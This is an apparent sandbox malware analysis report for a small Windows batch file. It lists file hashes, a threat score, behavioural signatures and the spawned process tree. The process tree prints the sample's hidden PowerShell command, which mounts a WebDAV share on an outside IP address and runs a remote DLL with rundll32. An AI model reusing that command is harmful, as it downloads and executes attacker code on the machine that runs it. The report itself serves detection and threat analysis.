Analysis

  • max time kernel
    119s
  • max time network
    126s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    14-07-2024 16:32

General

  • Target

    18790259082045827864.bat

  • Size

    2KB

  • MD5

    ee2dbc88b4d82095473d142c78c3c4b4

  • SHA1

    fdeb842b27e31706497851fd21fd2d407b2fcdb2

  • SHA256

    759c4421a51c56cb28a492b1d7ee7261486b559f505b19ceada609d1c3827750

  • SHA512

    f554575ac1ed6ea67bd3b6e934cd10c078ec92340e64e4a50cd0e3ed5cad8f14de621fcfc3372f25e478a7a4e46da6fb065f51d76ef9395227bb9bdb3ccc84d6

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\18790259082045827864.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1696
    • C:\Program Files\Windows NT\Accessories\wordpad.exe
      "C:\Program Files\Windows NT\Accessories\wordpad.exe"
      2⤵
      • Suspicious use of SetWindowsHookEx
      PID:288
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\4804.dll,entry
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1620
      • C:\Windows\system32\net.exe
        "C:\Windows\system32\net.exe" use \\45.9.74.32@8888\davwwwroot\
        3⤵
          PID:2764
        • C:\Windows\system32\rundll32.exe
          "C:\Windows\system32\rundll32.exe" \\45.9.74.32@8888\davwwwroot\4804.dll entry
          3⤵
            PID:1812

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • memory/1620-23-0x000000001B5D0000-0x000000001B8B2000-memory.dmp

        Filesize

        2.9MB

      • memory/1620-24-0x0000000002BF0000-0x0000000002BF8000-memory.dmp

        Filesize

        32KB